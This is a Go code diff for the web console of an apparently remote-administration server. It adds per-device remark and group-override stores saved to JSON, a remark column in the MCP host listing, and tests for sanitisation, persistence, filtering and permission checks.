if d, ok := online[id]; ok {
|
||||
h := s.hostJSON(d)
|
||||
h := s.hostJSON(d, view)
|
||||
h["capabilities"] = s.capabilities(d)
|
||||
return h, nil
|
||||
}
|
||||
if d, ok := offline[id]; ok {
|
||||
return s.hostJSON(d), nil
|
||||
return s.hostJSON(d, view), nil
|
||||
}
|
||||
return nil, errf(CodeOffline, "Host not found or offline: %s", id)
|
||||
}
|
||||
@@ -449,13 +477,13 @@ func appendHostRows(text string, hosts []map[string]any) string {
|
||||
for _, h := range hosts {
|
||||
online, _ := h["online"].(bool)
|
||||
rows = append(rows, []string{
|
||||
tableText(h["id"]), tableText(h["name"]), tableText(h["ip"]),
|
||||
tableText(h["group"]), tableText(h["os"]), strconv.FormatBool(online),
|
||||
tableText(h["clientType"]), tableText(h["last_seen"]),
|
||||
tableText(h["id"]), tableText(h["name"]), tableText(h["remark"]),
|
||||
tableText(h["ip"]), tableText(h["group"]), tableText(h["os"]),
|
||||
strconv.FormatBool(online), tableText(h["clientType"]), tableText(h["last_seen"]),
|
||||
})
|
||||
}
|
||||
return appendRows(text,
|
||||
[]string{"id", "name", "ip", "group", "os", "online", "clientType", "last_seen"},
|
||||
[]string{"id", "name", "remark", "ip", "group", "os", "online", "clientType", "last_seen"},
|
||||
rows)
|
||||
}
|
||||
|
||||
|
||||
@@ -213,8 +213,35 @@ func TestAppendRowsSanitizesCells(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// fakeRemarks stands in for web.DeviceNotes: the map value is the remark. It
|
||||
// only implements Note, so it exercises the per-device fallback path.
|
||||
type fakeRemarks map[string]string
|
||||
|
||||
func (f fakeRemarks) Note(deviceID string) string { return f[deviceID] }
|
||||
|
||||
// fakeRemarkSnapshot also implements Notes(), the snapshot capability the
|
||||
// shipped web.DeviceNotes provides.
|
||||
type fakeRemarkSnapshot map[string]string
|
||||
|
||||
func (f fakeRemarkSnapshot) Note(deviceID string) string { return f[deviceID] }
|
||||
func (f fakeRemarkSnapshot) Notes() map[string]string { return f }
|
||||
|
||||
// fakeGroups stands in for web.DeviceGroups (per-device fallback path).
|
||||
type fakeGroups map[string]string
|
||||
|
||||
func (f fakeGroups) Group(deviceID string) string { return f[deviceID] }
|
||||
|
||||
// fakeGroupSnapshot also implements Groups(), the snapshot capability the
|
||||
// shipped web.DeviceGroups provides.
|
||||
type fakeGroupSnapshot map[string]string
|
||||
|
||||
func (f fakeGroupSnapshot) Group(deviceID string) string { return f[deviceID] }
|
||||
func (f fakeGroupSnapshot) Groups() map[string]string { return f }
|
||||
|
||||
func TestListHostsPoolsAndProjection(t *testing.T) {
|
||||
f := newLocalFixture(t)
|
||||
f.srv.cfg.DeviceRemarks = fakeRemarkSnapshot{"1001": "Reception PC"}
|
||||
f.srv.cfg.DeviceGroups = fakeGroupSnapshot{"1002": "Remote"}
|
||||
|
||||
text, sc := mustCallLocal(t, f.srv, "list_hosts", `{}`)
|
||||
hosts := hostList(t, sc)
|
||||
@@ -236,11 +263,11 @@ func TestListHostsPoolsAndProjection(t *testing.T) {
|
||||
}
|
||||
// Text-only MCP clients never see structuredContent, so the table in the
|
||||
// text block must carry the id every follow-up call is addressed by.
|
||||
if !strings.Contains(text, "id\tname\tip\tgroup\tos\tonline\tclientType\tlast_seen") {
|
||||
if !strings.Contains(text, "id\tname\tremark\tip\tgroup\tos\tonline\tclientType\tlast_seen") {
|
||||
t.Fatalf("text = %q, want host table header", text)
|
||||
}
|
||||
if !strings.Contains(text, "1001\tALPHA\t10.0.0.1\tdefault\tWindows 10\ttrue\tEXE\t-") {
|
||||
t.Fatalf("text = %q, want ALPHA row with id first", text)
|
||||
if !strings.Contains(text, "1001\tALPHA\tReception PC\t10.0.0.1\tdefault\tWindows 10\ttrue\tEXE\t-") {
|
||||
t.Fatalf("text = %q, want ALPHA row with id first and remark", text)
|
||||
}
|
||||
|
||||
alpha := hosts[0]
|
||||
@@ -268,7 +295,16 @@ func TestListHostsPoolsAndProjection(t *testing.T) {
|
||||
if _, ok := alpha["last_seen"]; ok {
|
||||
t.Fatal("online host carries last_seen")
|
||||
}
|
||||
for _, absent := range []string{"remark", "authStatus", "tls"} {
|
||||
if got := strField(t, alpha, "remark"); got != "Reception PC" {
|
||||
t.Fatalf("remark = %q, want the web console's label", got)
|
||||
}
|
||||
if !strings.Contains(text, "1002\tBETA\t-\t192.168.1.2\tRemote\tWindows 11\ttrue\tEXE\t-") {
|
||||
t.Fatalf("text = %q, want BETA row with the group override", text)
|
||||
}
|
||||
if _, ok := hosts[1]["remark"]; ok {
|
||||
t.Fatalf("unset remark present on %v", hosts[1]["id"])
|
||||
}
|
||||
for _, absent := range []string{"authStatus", "tls"} {
|
||||
if _, ok := alpha[absent]; ok {
|
||||
t.Fatalf("%s present but the Go server has no such data", absent)
|
||||
}
|
||||
@@ -306,6 +342,7 @@ func TestListHostsPoolsAndProjection(t *testing.T) {
|
||||
|
||||
func TestListHostsFilters(t *testing.T) {
|
||||
f := newLocalFixture(t)
|
||||
f.srv.cfg.DeviceRemarks = fakeRemarks{"1001": "Reception PC"}
|
||||
|
||||
cases := []struct {
|
||||
name string
|
||||
@@ -313,6 +350,7 @@ func TestListHostsFilters(t *testing.T) {
|
||||
want []string
|
||||
}{
|
||||
{"name substring", `{"name":"beta"}`, []string{"1002"}},
|
||||
{"name matches remark", `{"name":"reception"}`, []string{"1001"}},
|
||||
{"group substring", `{"group":"office"}`, []string{"1002", "1003"}},
|
||||
{"os substring case-insensitive", `{"os":"windows"}`, []string{"1001", "1002"}},
|
||||
{"client type", `{"client_type":"lnx"}`, []string{"1003"}},
|
||||
@@ -320,6 +358,7 @@ func TestListHostsFilters(t *testing.T) {
|
||||
{"peer ip fallback", `{"ip":"192.168.1.2"}`, []string{"1002"}},
|
||||
{"query matches name", `{"query":"gamma"}`, []string{"1003"}},
|
||||
{"query matches ip", `{"query":"10.0.0.1"}`, []string{"1001"}},
|
||||
{"query matches remark", `{"query":"reception"}`, []string{"1001"}},
|
||||
{"filters are ANDed", `{"group":"office","os":"ubuntu"}`, []string{"1003"}},
|
||||
{"no match", `{"name":"zzz"}`, nil},
|
||||
}
|
||||
@@ -355,6 +394,33 @@ func TestListHostsFilters(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestListHostsGroupOverride: the web console's group override drives both the
|
||||
// projected group and the group filter, including for offline records.
|
||||
func TestListHostsGroupOverride(t *testing.T) {
|
||||
f := newLocalFixture(t)
|
||||
f.srv.cfg.DeviceGroups = fakeGroupSnapshot{"1002": "Remote", "1003": "Remote", "2001": "Archive"}
|
||||
|
||||
_, sc := mustCallLocal(t, f.srv, "list_hosts", `{"group":"remote"}`)
|
||||
wantIDs(t, hostList(t, sc), "1002", "1003")
|
||||
|
||||
_, sc = mustCallLocal(t, f.srv, "list_hosts", `{"online":false,"group":"archive"}`)
|
||||
wantIDs(t, hostList(t, sc), "2001")
|
||||
if got := strField(t, hostList(t, sc)[0], "group"); got != "Archive" {
|
||||
t.Fatalf("offline group = %q, want the override", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestListHostsGroupOverrideFallback covers a DeviceGroups implementation that
|
||||
// participates through Group() only (no whole-table snapshot).
|
||||
func TestListHostsGroupOverrideFallback(t *testing.T) {
|
||||
f := newLocalFixture(t)
|
||||
f.srv.cfg.DeviceGroups = fakeGroups{"1002": "Remote"}
|
||||
_, sc := mustCallLocal(t, f.srv, "list_hosts", `{}`)
|
||||
if got := strField(t, hostList(t, sc)[1], "group"); got != "Remote" {
|
||||
t.Fatalf("group = %q, want the override", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestListHostsPaging(t *testing.T) {
|
||||
f := newLocalFixture(t)
|
||||
|
||||
|
||||
@@ -38,6 +38,8 @@ const (
|
||||
auditDeviceTransfer = "admin.device.transfer"
|
||||
auditDeviceBind = "admin.device.bind"
|
||||
auditDeviceUnbind = "admin.device.unbind"
|
||||
auditDeviceRemark = "admin.device.remark"
|
||||
auditDeviceGroup = "admin.device.group"
|
||||
auditQuery = "admin.audit.query"
|
||||
)
|
||||
|
||||
|
||||
@@ -0,0 +1,251 @@
|
||||
package web
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
// MaxGroupRunes bounds the per-device group label. The Win32 server's
|
||||
// "regroup host" dialog rejects names of 24 characters or more (the command
|
||||
// payload is a fixed 50-byte buffer); the Go console keeps the same limit so
|
||||
// a group name written here can also be handed to the client later.
|
||||
const MaxGroupRunes = 23
|
||||
|
||||
// DeviceGroupEntry is one web-console group override.
|
||||
type DeviceGroupEntry struct {
|
||||
Group string `json:"group"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
UpdatedBy string `json:"updated_by,omitempty"`
|
||||
}
|
||||
|
||||
// deviceGroupsFile is the on-disk shape of device_groups.json. Version is
|
||||
// reserved for future migrations; v1 is a flat deviceID -> group map.
|
||||
type deviceGroupsFile struct {
|
||||
Version int `json:"version"`
|
||||
Devices map[string]DeviceGroupEntry `json:"devices"`
|
||||
}
|
||||
|
||||
// DeviceGroups is the per-device group table used by the Go web console. A
|
||||
// device with no entry keeps the group it reported at login; an entry
|
||||
// overrides that group for every Go-side view (device list, group filter,
|
||||
// MCP), works for offline records too, and survives restarts.
|
||||
//
|
||||
// It deliberately does NOT write CMD_SET_GROUP to the client: the host keeps
|
||||
// reporting its own group to other masters. An empty Path disables
|
||||
// persistence (tests).
|
||||
type DeviceGroups struct {
|
||||
mu sync.RWMutex
|
||||
path string
|
||||
entries map[string]DeviceGroupEntry
|
||||
// loadErr records why Load failed. While set, Set/Remove refuse to write:
|
||||
// persisting the in-memory (empty) table would replace the unreadable file
|
||||
// and destroy every override it still holds.
|
||||
loadErr error
|
||||
}
|
||||
|
||||
// NewDeviceGroups returns an empty table backed by path.
|
||||
func NewDeviceGroups(path string) *DeviceGroups {
|
||||
return &DeviceGroups{path: path, entries: make(map[string]DeviceGroupEntry)}
|
||||
}
|
||||
|
||||
// Load reads Path into memory. A missing file is an empty table. A malformed
|
||||
// file (or one written by a newer version) is returned as an error and leaves
|
||||
// the table write-disabled so the unreadable file survives for recovery.
|
||||
func (g *DeviceGroups) Load() error {
|
||||
if g.path == "" {
|
||||
return nil
|
||||
}
|
||||
data, err := os.ReadFile(g.path)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
return g.failLoad(fmt.Errorf("read %s: %w", g.path, err))
|
||||
}
|
||||
var f deviceGroupsFile
|
||||
if err := json.Unmarshal(data, &f); err != nil {
|
||||
return g.failLoad(fmt.Errorf("parse %s: %w", g.path, err))
|
||||
}
|
||||
if f.Version > deviceGroupsFileVersion {
|
||||
return g.failLoad(fmt.Errorf("unsupported %s version %d (this server writes %d)",
|
||||
g.path, f.Version, deviceGroupsFileVersion))
|
||||
}
|
||||
entries := make(map[string]DeviceGroupEntry, len(f.Devices))
|
||||
for id, e := range f.Devices {
|
||||
id = strings.TrimSpace(id)
|
||||
e.Group = capRunes(sanitizeLabel(e.Group), MaxGroupRunes)
|
||||
if id == "" || e.Group == "" {
|
||||
continue
|
||||
}
|
||||
entries[id] = e
|
||||
}
|
||||
g.mu.Lock()
|
||||
g.entries = entries
|
||||
g.loadErr = nil
|
||||
g.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
// deviceGroupsFileVersion is the on-disk format we write. A file from a newer
|
||||
// version is refused instead of being read as v1 and overwritten.
|
||||
const deviceGroupsFileVersion = 1
|
||||
|
||||
// failLoad records the reason writes are disabled and returns it.
|
||||
func (g *DeviceGroups) failLoad(err error) error {
|
||||
g.mu.Lock()
|
||||
g.loadErr = err
|
||||
g.mu.Unlock()
|
||||
return err
|
||||
}
|
||||
|
||||
// Group returns the override for deviceID, or "" when the device keeps the
|
||||
// group it reported.
|
||||
func (g *DeviceGroups) Group(deviceID string) string {
|
||||
if g == nil {
|
||||
return ""
|
||||
}
|
||||
g.mu.RLock()
|
||||
defer g.mu.RUnlock()
|
||||
return g.entries[deviceID].Group
|
||||
}
|
||||
|
||||
// Groups returns a copy of the deviceID -> group map. Callers that look up
|
||||
// many devices in one pass take this snapshot instead of a read lock per
|
||||
// device.
|
||||
func (g *DeviceGroups) Groups() map[string]string {
|
||||
if g == nil {
|
||||
return map[string]string{}
|
||||
}
|
||||
g.mu.RLock()
|
||||
defer g.mu.RUnlock()
|
||||
out := make(map[string]string, len(g.entries))
|
||||
for id, e := range g.entries {
|
||||
out[id] = e.Group
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Snapshot returns a copy of the table (for logs and tests).
|
||||
func (g *DeviceGroups) Snapshot() map[string]DeviceGroupEntry {
|
||||
if g == nil {
|
||||
return map[string]DeviceGroupEntry{}
|
||||
}
|
||||
g.mu.RLock()
|
||||
defer g.mu.RUnlock()
|
||||
out := make(map[string]DeviceGroupEntry, len(g.entries))
|
||||
for id, e := range g.entries {
|
||||
out[id] = e
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Set stores group for deviceID. An empty group clears the override (the
|
||||
// device falls back to the group it reports). Control characters are folded to
|
||||
// spaces, the result is trimmed, and more than MaxGroupRunes runes is
|
||||
// rejected. On persistence failure the in-memory table is rolled back.
|
||||
func (g *DeviceGroups) Set(deviceID, group, actor string) error {
|
||||
deviceID = strings.TrimSpace(deviceID)
|
||||
if deviceID == "" {
|
||||
return fmt.Errorf("empty device id")
|
||||
}
|
||||
group = sanitizeLabel(group)
|
||||
if utf8.RuneCountInString(group) > MaxGroupRunes {
|
||||
return fmt.Errorf("group is too long (max %d characters)", MaxGroupRunes)
|
||||
}
|
||||
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
if g.loadErr != nil {
|
||||
return fmt.Errorf("device groups unavailable: %w", g.loadErr)
|
||||
}
|
||||
prev, had := g.entries[deviceID]
|
||||
if group == "" {
|
||||
if !had {
|
||||
return nil
|
||||
}
|
||||
delete(g.entries, deviceID)
|
||||
} else {
|
||||
g.entries[deviceID] = DeviceGroupEntry{Group: group, UpdatedAt: time.Now().UTC(), UpdatedBy: actor}
|
||||
}
|
||||
if err := g.saveLocked(); err != nil {
|
||||
if had {
|
||||
g.entries[deviceID] = prev
|
||||
} else {
|
||||
delete(g.entries, deviceID)
|
||||
}
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Remove drops the override of one device (idempotent). Called when the device
|
||||
// record is deleted so a future client reusing the same ID cannot inherit the
|
||||
// group.
|
||||
func (g *DeviceGroups) Remove(deviceID string) error {
|
||||
if g == nil {
|
||||
return nil
|
||||
}
|
||||
deviceID = strings.TrimSpace(deviceID)
|
||||
if deviceID == "" {
|
||||
return nil
|
||||
}
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
if g.loadErr != nil {
|
||||
return fmt.Errorf("device groups unavailable: %w", g.loadErr)
|
||||
}
|
||||
prev, ok := g.entries[deviceID]
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
delete(g.entries, deviceID)
|
||||
if err := g.saveLocked(); err != nil {
|
||||
g.entries[deviceID] = prev
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// saveLocked writes the table via a temp file + rename. Caller holds g.mu.
|
||||
func (g *DeviceGroups) saveLocked() error {
|
||||
if g.path == "" {
|
||||
return nil
|
||||
}
|
||||
f := deviceGroupsFile{Version: deviceGroupsFileVersion, Devices: g.entries}
|
||||
data, err := json.MarshalIndent(f, "", " ")
|
||||
if err != nil {
|
||||
return fmt.Errorf("encode device groups: %w", err)
|
||||
}
|
||||
dir := filepath.Dir(g.path)
|
||||
if dir == "" {
|
||||
dir = "."
|
||||
}
|
||||
tmp, err := os.CreateTemp(dir, ".device_groups-*.tmp")
|
||||
if err != nil {
|
||||
return fmt.Errorf("create temp groups: %w", err)
|
||||
}
|
||||
tmpName := tmp.Name()
|
||||
defer func() { _ = os.Remove(tmpName) }() // no-op after a successful rename
|
||||
|
||||
if _, err := tmp.Write(data); err != nil {
|
||||
_ = tmp.Close()
|
||||
return fmt.Errorf("write temp groups: %w", err)
|
||||
}
|
||||
if err := tmp.Sync(); err != nil {
|
||||
_ = tmp.Close()
|
||||
return fmt.Errorf("sync temp groups: %w", err)
|
||||
}
|
||||
if err := tmp.Close(); err != nil {
|
||||
return fmt.Errorf("close temp groups: %w", err)
|
||||
}
|
||||
if err := os.Rename(tmpName, g.path); err != nil {
|
||||
return fmt.Errorf("rename groups: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,230 @@
|
||||
package web
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
// TestDeviceGroupsSetPersistClear covers the store: sanitize, save, reload,
|
||||
// clear, the rune cap and the corrupt-file write protection.
|
||||
func TestDeviceGroupsSetPersistClear(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "device_groups.json")
|
||||
groups := NewDeviceGroups(path)
|
||||
|
||||
if err := groups.Set("dev-1", " Office\nWest\t", "admin"); err != nil {
|
||||
t.Fatalf("Set: %v", err)
|
||||
}
|
||||
if got := groups.Group("dev-1"); got != "Office West" {
|
||||
t.Fatalf("Group = %q, want %q", got, "Office West")
|
||||
}
|
||||
|
||||
reloaded := NewDeviceGroups(path)
|
||||
if err := reloaded.Load(); err != nil {
|
||||
t.Fatalf("Load: %v", err)
|
||||
}
|
||||
if got := reloaded.Group("dev-1"); got != "Office West" {
|
||||
t.Fatalf("reloaded Group = %q, want %q", got, "Office West")
|
||||
}
|
||||
|
||||
// The cap matches the Win32 regroup dialog (< 24 characters).
|
||||
if err := groups.Set("dev-1", strings.Repeat("x", MaxGroupRunes+1), "admin"); err == nil {
|
||||
t.Fatal("Set accepted an over-long group")
|
||||
}
|
||||
if err := groups.Set("dev-1", strings.Repeat("y", MaxGroupRunes), "admin"); err != nil {
|
||||
t.Fatalf("Set at the limit: %v", err)
|
||||
}
|
||||
|
||||
// An empty group clears the override.
|
||||
if err := groups.Set("dev-1", " ", "admin"); err != nil {
|
||||
t.Fatalf("clear: %v", err)
|
||||
}
|
||||
if got := groups.Group("dev-1"); got != "" {
|
||||
t.Fatalf("Group after clear = %q, want empty", got)
|
||||
}
|
||||
|
||||
// Groups() is the bulk snapshot callers take per listing; it must be a copy.
|
||||
if err := groups.Set("dev-2", "Bulk", "admin"); err != nil {
|
||||
t.Fatalf("Set dev-2: %v", err)
|
||||
}
|
||||
snap := groups.Groups()
|
||||
if snap["dev-2"] != "Bulk" {
|
||||
t.Fatalf("Groups()[dev-2] = %q, want %q", snap["dev-2"], "Bulk")
|
||||
}
|
||||
snap["dev-2"] = "mutated"
|
||||
if got := groups.Group("dev-2"); got != "Bulk" {
|
||||
t.Fatalf("mutating the snapshot changed the store: %q", got)
|
||||
}
|
||||
if err := groups.Remove("dev-2"); err != nil {
|
||||
t.Fatalf("Remove: %v", err)
|
||||
}
|
||||
if err := groups.Remove("dev-2"); err != nil {
|
||||
t.Fatalf("Remove twice: %v", err)
|
||||
}
|
||||
if got := groups.Group("dev-2"); got != "" {
|
||||
t.Fatalf("Group after Remove = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestDeviceGroupsBadFileRefusesWrites: an unparsable file must never be
|
||||
// replaced by the first save.
|
||||
func TestDeviceGroupsBadFileRefusesWrites(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "device_groups.json")
|
||||
bad := []byte("{not json")
|
||||
if err := os.WriteFile(path, bad, 0644); err != nil {
|
||||
t.Fatalf("seed: %v", err)
|
||||
}
|
||||
groups := NewDeviceGroups(path)
|
||||
if err := groups.Load(); err == nil {
|
||||
t.Fatal("Load accepted a malformed file")
|
||||
}
|
||||
if err := groups.Set("dev-1", "x", "admin"); err == nil {
|
||||
t.Fatal("Set wrote over a file that failed to load")
|
||||
}
|
||||
if got, _ := os.ReadFile(path); string(got) != string(bad) {
|
||||
t.Fatalf("original file was modified: %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestDeviceGroupsLoadAppliesInvariants: values read back from disk are
|
||||
// sanitized and capped, so a restored file cannot break the card layout.
|
||||
func TestDeviceGroupsLoadAppliesInvariants(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "device_groups.json")
|
||||
long := "Team\nA " + strings.Repeat("x", MaxGroupRunes)
|
||||
data, err := json.Marshal(deviceGroupsFile{Version: deviceGroupsFileVersion,
|
||||
Devices: map[string]DeviceGroupEntry{"dev-1": {Group: long}}})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(path, data, 0644); err != nil {
|
||||
t.Fatalf("seed: %v", err)
|
||||
}
|
||||
groups := NewDeviceGroups(path)
|
||||
if err := groups.Load(); err != nil {
|
||||
t.Fatalf("Load: %v", err)
|
||||
}
|
||||
got := groups.Group("dev-1")
|
||||
if strings.ContainsAny(got, "\r\n\t") {
|
||||
t.Fatalf("loaded group kept control characters: %q", got)
|
||||
}
|
||||
if n := utf8.RuneCountInString(got); n != MaxGroupRunes {
|
||||
t.Fatalf("loaded group has %d runes, want %d", n, MaxGroupRunes)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSetDeviceGroupHandler exercises the WebSocket path: the superadmin moves
|
||||
// a host, device_list reports the override plus groupEdit, get_groups offers
|
||||
// the new name, and clearing restores the reported group.
|
||||
func TestSetDeviceGroupHandler(t *testing.T) {
|
||||
wh, _, _ := aclTestHub(t)
|
||||
groups := NewDeviceGroups(filepath.Join(t.TempDir(), "device_groups.json"))
|
||||
wh.withDeviceGroups(groups)
|
||||
|
||||
c, tok := aclTestClient(t, wh, "admin", "admin")
|
||||
|
||||
send := func(id, group string) map[string]any {
|
||||
raw, err := json.Marshal(map[string]any{"token": tok, "id": id, "group": group})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal: %v", err)
|
||||
}
|
||||
wh.dispatch(c, "set_device_group", raw)
|
||||
return readUntilCmd(t, c, "set_device_group_result")
|
||||
}
|
||||
|
||||
res := send("pub", " Office\nWest ")
|
||||
if res["ok"] != true {
|
||||
t.Fatalf("set group failed: %v", res)
|
||||
}
|
||||
if res["group"] != "Office West" {
|
||||
t.Fatalf("reply group = %v, want %q", res["group"], "Office West")
|
||||
}
|
||||
|
||||
// device_list reports the override and the capability the menu keys off.
|
||||
rawList, _ := json.Marshal(map[string]any{"token": tok})
|
||||
wh.dispatch(c, "get_devices", rawList)
|
||||
list := readUntilCmd(t, c, "device_list")
|
||||
if list["groupEdit"] != true {
|
||||
t.Fatalf("device_list groupEdit = %v, want true", list["groupEdit"])
|
||||
}
|
||||
found := false
|
||||
for _, it := range list["devices"].([]any) {
|
||||
m := it.(map[string]any)
|
||||
if m["id"] == "pub" {
|
||||
found = true
|
||||
if m["group"] != "Office West" {
|
||||
t.Fatalf("device_list group = %v, want override", m["group"])
|
||||
}
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatal("device_list did not include the public device")
|
||||
}
|
||||
|
||||
// get_groups offers the override name.
|
||||
rawGroups, _ := json.Marshal(map[string]any{"token": tok})
|
||||
wh.dispatch(c, "get_groups", rawGroups)
|
||||
gr := readUntilCmd(t, c, "groups")
|
||||
var names []string
|
||||
for _, g := range gr["groups"].([]any) {
|
||||
names = append(names, g.(string))
|
||||
}
|
||||
if !slices.Contains(names, "Office West") {
|
||||
t.Fatalf("groups = %v, want the override included", names)
|
||||
}
|
||||
// The overridden device's stale reported group must not linger in the list.
|
||||
if slices.Contains(names, "shared") {
|
||||
t.Fatalf("groups = %v, want the overridden reported group omitted", names)
|
||||
}
|
||||
|
||||
// A stale card (device deleted between render and save) must not create an
|
||||
// orphan override.
|
||||
if res := send("ghost-id", "Nowhere"); res["ok"] == true {
|
||||
t.Fatalf("group override accepted for an unknown device: %v", res)
|
||||
}
|
||||
|
||||
// Clearing restores the group the host reported.
|
||||
res = send("pub", "")
|
||||
if res["ok"] != true {
|
||||
t.Fatalf("clear group failed: %v", res)
|
||||
}
|
||||
wh.dispatch(c, "get_devices", rawList)
|
||||
list = readUntilCmd(t, c, "device_list")
|
||||
for _, it := range list["devices"].([]any) {
|
||||
m := it.(map[string]any)
|
||||
if m["id"] == "pub" && m["group"] != "shared" {
|
||||
t.Fatalf("group after clear = %v, want reported %q", m["group"], "shared")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestSetDeviceGroupPermissions: viewers cannot edit, and an admin that cannot
|
||||
// see a private device cannot move it.
|
||||
func TestSetDeviceGroupPermissions(t *testing.T) {
|
||||
wh, _, _ := aclTestHub(t)
|
||||
wh.withDeviceGroups(NewDeviceGroups(""))
|
||||
|
||||
attempt := func(c *wsClient, tok, id string) map[string]any {
|
||||
raw, _ := json.Marshal(map[string]any{"token": tok, "id": id, "group": "x"})
|
||||
wh.dispatch(c, "set_device_group", raw)
|
||||
return readUntilCmd(t, c, "set_device_group_result")
|
||||
}
|
||||
|
||||
cv, tokv := aclTestClient(t, wh, "viewer1", "viewer")
|
||||
if res := attempt(cv, tokv, "pub"); res["ok"] == true {
|
||||
t.Fatal("viewer was allowed to move a host")
|
||||
}
|
||||
|
||||
ca, toka := aclTestClient(t, wh, "other-admin", "admin")
|
||||
if res := attempt(ca, toka, "a-dev"); res["ok"] == true {
|
||||
t.Fatal("admin without device access was allowed to move a host")
|
||||
}
|
||||
|
||||
cs, toks := aclTestClient(t, wh, "admin", "admin")
|
||||
if res := attempt(cs, toks, "a-dev"); res["ok"] != true {
|
||||
t.Fatalf("superadmin was refused: %v", res)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,275 @@
|
||||
package web
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"unicode"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
// MaxRemarkRunes bounds the per-device remark. The card renders it next to
|
||||
// the computer name ("host (remark)"), so this is a label, not a note field:
|
||||
// long enough for "Reception PC - 3rd floor", short enough to keep the card
|
||||
// intact.
|
||||
const MaxRemarkRunes = 64
|
||||
|
||||
// deviceNotesFileVersion is the on-disk format we write. A file from a newer
|
||||
// version is refused instead of being read as v1 and overwritten.
|
||||
const deviceNotesFileVersion = 1
|
||||
|
||||
// DeviceNoteEntry is one device remark.
|
||||
type DeviceNoteEntry struct {
|
||||
Note string `json:"note"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
UpdatedBy string `json:"updated_by,omitempty"`
|
||||
}
|
||||
|
||||
// deviceNotesFile is the on-disk shape of device_notes.json. Version is
|
||||
// reserved for future migrations; v1 is a flat deviceID -> remark map.
|
||||
type deviceNotesFile struct {
|
||||
Version int `json:"version"`
|
||||
Devices map[string]DeviceNoteEntry `json:"devices"`
|
||||
}
|
||||
|
||||
// DeviceNotes is the per-device remark table used by the web console. Remarks
|
||||
// are labels, not access control, so the table is independent of DeviceACL: a
|
||||
// device can carry a remark whether or not it is bound to an owner. An empty
|
||||
// Path disables persistence (tests).
|
||||
type DeviceNotes struct {
|
||||
mu sync.RWMutex
|
||||
path string
|
||||
entries map[string]DeviceNoteEntry
|
||||
// loadErr records why Load failed. While set, Set/Remove refuse to write:
|
||||
// persisting the in-memory (empty) table would replace the unreadable file
|
||||
// and destroy every remark it still holds.
|
||||
loadErr error
|
||||
}
|
||||
|
||||
// NewDeviceNotes returns an empty table backed by path.
|
||||
func NewDeviceNotes(path string) *DeviceNotes {
|
||||
return &DeviceNotes{path: path, entries: make(map[string]DeviceNoteEntry)}
|
||||
}
|
||||
|
||||
// Load reads Path into memory. A missing file is an empty table. A malformed
|
||||
// file (or one written by a newer version) is returned as an error and leaves
|
||||
// the table write-disabled: the caller may log and continue serving, but the
|
||||
// unreadable file must survive so its remarks can be recovered.
|
||||
func (n *DeviceNotes) Load() error {
|
||||
if n.path == "" {
|
||||
return nil
|
||||
}
|
||||
data, err := os.ReadFile(n.path)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
return n.failLoad(fmt.Errorf("read %s: %w", n.path, err))
|
||||
}
|
||||
var f deviceNotesFile
|
||||
if err := json.Unmarshal(data, &f); err != nil {
|
||||
return n.failLoad(fmt.Errorf("parse %s: %w", n.path, err))
|
||||
}
|
||||
if f.Version > deviceNotesFileVersion {
|
||||
return n.failLoad(fmt.Errorf("unsupported %s version %d (this server writes %d)",
|
||||
n.path, f.Version, deviceNotesFileVersion))
|
||||
}
|
||||
entries := make(map[string]DeviceNoteEntry, len(f.Devices))
|
||||
for id, e := range f.Devices {
|
||||
id = strings.TrimSpace(id)
|
||||
// Apply the same invariants Set enforces: a hand-edited or restored
|
||||
// file must not put a multi-line / over-long label on a card.
|
||||
e.Note = capRunes(sanitizeLabel(e.Note), MaxRemarkRunes)
|
||||
if id == "" || e.Note == "" {
|
||||
continue
|
||||
}
|
||||
entries[id] = e
|
||||
}
|
||||
n.mu.Lock()
|
||||
n.entries = entries
|
||||
n.loadErr = nil
|
||||
n.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
// failLoad records the reason writes are disabled and returns it.
|
||||
func (n *DeviceNotes) failLoad(err error) error {
|
||||
n.mu.Lock()
|
||||
n.loadErr = err
|
||||
n.mu.Unlock()
|
||||
return err
|
||||
}
